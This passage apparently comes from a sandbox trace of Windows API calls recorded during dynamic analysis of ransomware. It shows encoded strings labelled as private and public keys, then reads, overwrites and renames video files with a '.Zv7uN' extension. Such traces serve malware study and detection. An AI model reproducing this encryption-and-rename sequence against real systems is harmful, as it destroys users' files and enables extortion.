PzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.368] GetCurrentThreadId () returned 0xa30 [0087.368] GetCurrentThreadId () returned 0xa30 [0087.368] GetCurrentThreadId () returned 0xa30 [0087.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.369] GetCurrentThreadId () returned 0xa30 [0087.369] GetCurrentThreadId () returned 0xa30 [0087.369] GetCurrentThreadId () returned 0xa30 [0087.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\GpTL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\gptl.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.369] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.369] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.369] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x148ca [0087.370] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.370] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x148ca, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x148ca, lpOverlapped=0x0) returned 1 [0087.372] CloseHandle (hObject=0x11c) returned 1 [0087.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\GpTL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\gptl.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.377] WriteFile (in: hFile=0x11c, lpBuffer=0x1f15f70*, nNumberOfBytesToWrite=0x148ca, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f15f70*, lpNumberOfBytesWritten=0x18f6ac*=0x148ca, lpOverlapped=0x0) returned 1 [0087.381] CloseHandle (hObject=0x11c) returned 1 [0087.383] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\GpTL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\gptl.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\GpTL.swf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\gptl.swf.zv7un")) returned 1 [0087.389] GetCurrentThreadId () returned 0xa30 [0087.389] GetCurrentThreadId () returned 0xa30 [0087.389] GetCurrentThreadId () returned 0xa30 [0087.389] GetCurrentThreadId () returned 0xa30 [0087.389] GetCurrentThreadId () returned 0xa30 [0087.389] GetCurrentThreadId () returned 0xa30 [0087.389] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf96bed0, ftCreationTime.dwHighDateTime=0x1d5e786, ftLastAccessTime.dwLowDateTime=0x3d903c30, ftLastAccessTime.dwHighDateTime=0x1d5e45a, ftLastWriteTime.dwLowDateTime=0x3d903c30, ftLastWriteTime.dwHighDateTime=0x1d5e45a, nFileSizeHigh=0x0, nFileSizeLow=0x3dd4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Y oCXBDXgZpHI20YYF3k.swf", cAlternateFileName="YOCXBD~1.SWF")) returned 1 [0087.389] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.389] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\Y oCXBDXgZpHI20YYF3k.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\y ocxbdxgzphi20yyf3k.swf"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf96bed0, ftCreationTime.dwHighDateTime=0x1d5e786, ftLastAccessTime.dwLowDateTime=0x3d903c30, ftLastAccessTime.dwHighDateTime=0x1d5e45a, ftLastWriteTime.dwLowDateTime=0x3d903c30, ftLastWriteTime.dwHighDateTime=0x1d5e45a, nFileSizeHigh=0x0, nFileSizeLow=0x3dd4)) returned 1 [0087.389] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\Y oCXBDXgZpHI20YYF3k.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\y ocxbdxgzphi20yyf3k.swf")) returned 0x20 [0087.389] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\Y oCXBDXgZpHI20YYF3k.swf", dwFileAttributes=0x80) returned 1 [0087.391] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.391] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TD